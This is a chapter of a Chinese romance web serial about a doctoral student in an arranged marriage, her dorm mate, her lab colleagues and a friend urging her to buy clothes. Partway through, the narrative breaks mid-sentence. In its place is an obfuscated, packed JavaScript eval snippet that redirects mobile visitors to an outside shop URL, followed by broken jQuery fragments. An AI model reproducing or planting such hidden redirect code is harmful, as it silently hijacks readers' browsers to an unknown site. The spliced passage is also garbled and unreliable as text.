打开宿舍门,舍友赵晓卉正在打电话。许安柠把箱子挪到自己书桌旁边,先去洗漱了。
等她回来,赵晓卉已经挂了电话,正趴在床上刷手机。听到开门声,抬头看了她一眼,目光又落在那只大箱子上,用下巴指了指:
“安柠,你这一箱英国土特产从哪儿弄来的?”
许安柠看了一眼箱子:“一个老乡给的。”
“这么多?你老乡做代购的?还是开进口超市的?下次让他给你带个包,比倒腾吃的划算。”
“……”
看吧,谁都觉得多,真想让他自己听听。
许安柠摘下毛巾擦着脸,擦了两下,忽然一顿,抬头看着赵晓卉,“你说这些都是英国品牌?”
“对呀。”赵晓卉眼睛没离开屏幕,“之前我不是去英国交流过一年嘛,所以对这些东西都很熟。”
赵晓卉没再说话。许安柠也没再问。
她熄了灯,躺在床上,想起今天上午在东门口,她问他这次去了欧洲哪个国家。
他淡淡地笑着说,“去了好几个国家,英国、法国、德国、意大利都去了。”
许安柠在黑暗中一下一下眨着眼睛,不禁想:他故意说了好几个国家的名字,是不想让我知道,他为了帮我要签字,专门跑了一趟德国吗?他为什么要这么做?
宿舍里很安静,只有窗外的风偶尔摇着树叶响一阵。
她一个人静静地想着,想了好久,也没想明白。
不光想不明白这个问题,还想不明白他为什么要跟保安说她是妹妹?为什么准备了婚房,却不要求她住进去?还有,当初为什么选择和她联姻?
许家虽说凭借古法旗袍技艺,在当地也算颇有名气,但和占了琅城商界半壁江山的周家来说,根本不值一提。许太太有这个自知之明,所以当年给她安排相亲,连周家的主意都没敢打。找的都是一些没什么根基的暴发户富二代。见了几个,没成。是许安柠拒绝的。因为他们都不同意她继续读博。
后来,周老太太放出话来,说要给自己的二孙子找对象,凡年龄差在十岁以内、相貌端正的女孩子,不管门户高低,都可以相看相看。
然后,她就被带到了周家二公子的相亲饭局上。本来她没抱任何希望,只是机械地说了一句和前几个相亲对象一模一样的话:
“周先生,我只有一个条件,我想继续读博。你如果答应,我愿意嫁给你。”
她以为,他会和其他人一样露出一个不屑的表情,然后嘲笑她说:“你一个私生女,还好意思提条件?要不是看你长得还行,我都懒得来。”
他只是问了一句:“如果我不答应呢?”
她回:“那祝你早日找到心仪的对象。”
之后,他沉默了一会儿,就答应了。
就那么轻易地答应了。
窗外的梧桐叶在风里沙沙地响。她翻了个身,把被子拉上来,继续眨着眼睛。
用许太太的话说,就算是天上掉馅饼,也不该砸在她头上。
可偏偏就砸了……
——
第二天早晨,许安柠把那箱东西翻了一遍,挑出几样能分的——曲奇、巧克力,热巧克力粉,茶包。给赵晓卉留了一盒巧克力,剩下的装进袋子里,拿到了实验室。
她没有吃零食的习惯,也不打算养成这个习惯。放在自己这儿也是积灰,不如分给大家。
她把袋子搁在对面空着的桌子上。
陆嘉言第一个凑过来,拿起一盒曲奇看了看,眼睛亮起来:“安柠,你发财了?这牌子我在网上见过,死贵死贵的。”
“别人给的,我不爱吃零食。”许安柠把袋子往前推了推,“你们分了吧。”
陆嘉言咧着嘴,一撸袖子:“那我就不客气了哈!”
他拿着那盒曲奇,又挑了一盒巧克力,心满意足地回了自己工位。
顾景行看了看袋子里纯英文的名牌商品,又看了许安柠一眼。她已经坐到椅子上,打开电脑开始工作了,还是一身朴素的装扮,神情专注,没有一丝异样。
他拿了一盒茶包,道了声谢,也回了自己工位。
“好吃!”陆嘉言咔嚓咔嚓嚼着曲奇,“师姐,唐念,你们不去拿吗?”
孟瑶斜瞥了他一眼:“我不吃嗟来之食。”
她特意拔高了声调,好像怕谁听不到似的。
陆嘉言“啧”了一声:“什么叫‘嗟来之食’呀?这是人家安柠好心请大家吃的好不好。”
他又转向唐念:“唐念,有热巧克力。你不是早就说想试试可以喝的巧克力吗?赶紧着,有两罐呢,师兄特意给你留的。”
唐念却没有动,眼睛看着电脑屏幕,声音低低地说:“谢谢师兄,我最近不想吃甜食。”
闻言,许安柠键盘上的手指忽然顿住。她抬起头来,看向唐念。
刚才孟瑶的冷嘲热讽,她没有放在心上。但是唐念的冷淡,让她觉得很不正常。
如果是平时,她早该屁颠屁颠地跑过来,两眼放光了。就算是牙疼,也得先占下,等回头不疼了再吃。
但是今天她连看都没看一眼。不仅没看这些吃的,连她平时叫得亲热的“安柠姐”也没看。
她好像在疏远自己,可是为什么呢?
许安柠想不明白。她只觉得自己心里有些闷闷的。她没有说话,低下头继续打字。她今天要把伦理审查的材料交上去,没时间多愁善感。
“哟,你还真下决心减肥了啊?”陆嘉言嘿嘿一笑,“你不吃正好,那剩下的,我跟老顾俩人分了。等你哪天想吃了,可别求我啊!求我也没用,我都吃完啦!”
陆嘉言站起来,拿起袋子,从里面掏了两样东西放到顾景行桌子上,剩下的全都塞进了自己抽屉里。
孟瑶看了眼唐念,又看了看斜对面的许安柠。她注意到许安柠电脑旁边那个小柠檬桌面伴侣的光变成了蓝色——那是用来安抚情绪的颜色。
她弯起唇角,笑了一下,低下头继续敲键盘。
顾景行把东西放进抽屉里,抬头看了看自己这几个师弟、师妹。他忽然感觉一切好像都没变,一切又好像都变了。
他原本以为,他们这个实验小组是整个京北大学最团结和谐的一个。没想到一个国自然把一切都给搅乱了。又或许问题本就存在,国自然恰好做了那个导火索。
他只希望,这场纷争早点结束,不要再延续下去了。
——
这次伦理审查材料的上交,意外地顺利。
下午三点,许安柠把所有的纸质材料装进一个牛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566342|204765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
皮纸袋里,去了科研伦理委员会办公室。秘书核对了材料清单,说“等通知”,她道了谢就出来了。整个过程不到二十分钟。
许安柠轻轻舒了口气。这样一来,她国庆节前的任务基本就完成了,等着节后的审查通知就行。
不过,她也不能放松。她这个研究项目涉及的伦理风险较大,大概率走不了快速审查路径,要经过会议审查。届时需要她本人到场进行5-10分钟的PPT答辩。还要面临委员们提出的各种刁钻问题。
PPT,她需要提前准备;现场提问,也需要提前做些预设性的演练。不为押题——当然一般也押不中,她需要让自己一直处于一种专注的状态,保持思维的活跃和敏锐,以应对委员们的最终审查。
下午五点半,大通间里键盘声此起彼伏。许安柠正对着PPT上的框架图修修改改,手机突然震起来。她看了一眼屏幕,拿起手机走出大通间。一接起来,苏棠风风火火的声音立刻钻进耳朵里:
“柠檬,抓紧出来,我在你学校门口。”
“什么事这么着急?”许安柠一边往走廊尽头走,一边说。
“当然是大事!十万火急的大事!”接着苏棠压低了声音,像是怕隔墙有耳,“——带你去逛街买衣服。”
“……”
许安柠嘴角抽了一下,还以为是什么大事,搞得这么神神秘秘,“不用,我有衣服穿。”
“有衣服,跟有‘合适’的衣服是两码事。”苏棠语速快起来,像连珠炮似的,“你这不是要去周家了吗?咱得穿得像样点,要不然会让人家觉得咱没诚意。再说,人家要是知道你有一个设计师朋友,一看你却穿得普普通通,会让人家觉得是我这个朋友不够意思,不肯为你花心思。那到时候我的脸往哪儿搁?”
走廊尽头的窗户敞开着,风灌进来,带着秋天的凉意。许安柠把被风吹乱的碎发别到耳后,沉默了片刻。
她知道苏棠说的有道理,就算不是去周家那样的豪门大户,去普通人家做客,也理应穿的体体面面。何况她这还不是去做客,是迟到了三年的拜见长辈。
但是——
“那也不用了。”许安柠淡淡地说。
“为什么呀?我跟你说,钱你不用担心,我刚发了工资,这个月还有奖金……”
苏棠还在喋喋不休。许安柠把手机从耳朵上拿开,耳朵清净了,喇叭的震动还在手上。她对着屏幕上不停变换的时间,忍不住笑了。
苏棠平时总是嫌苏妈妈唠叨,可她此刻的样子,完全有青出于蓝的架势。
许安柠双臂交叠撑在窗台上,身体前倾,望着窗外熟悉的景色,听着不断传来的微弱声音,感受着喇叭口的股股气流,等着苏棠把话说完。
五分钟之后……
“喂,柠檬你还在听吗?”
许安柠举起手机,“在听。你要是说完了的话,那我说了?”
“你说。”对面苏棠气还没喘匀。
许安柠顿了顿说:“我真的有‘合适’的衣服穿了,不用买了。”
苏棠还是不信:“你什么时候买的?我怎么不知道?”
许安柠停了一下,然后轻轻地叹了口气:“其实,也不是我买的……”
“嗯?”
“是别人代购的。”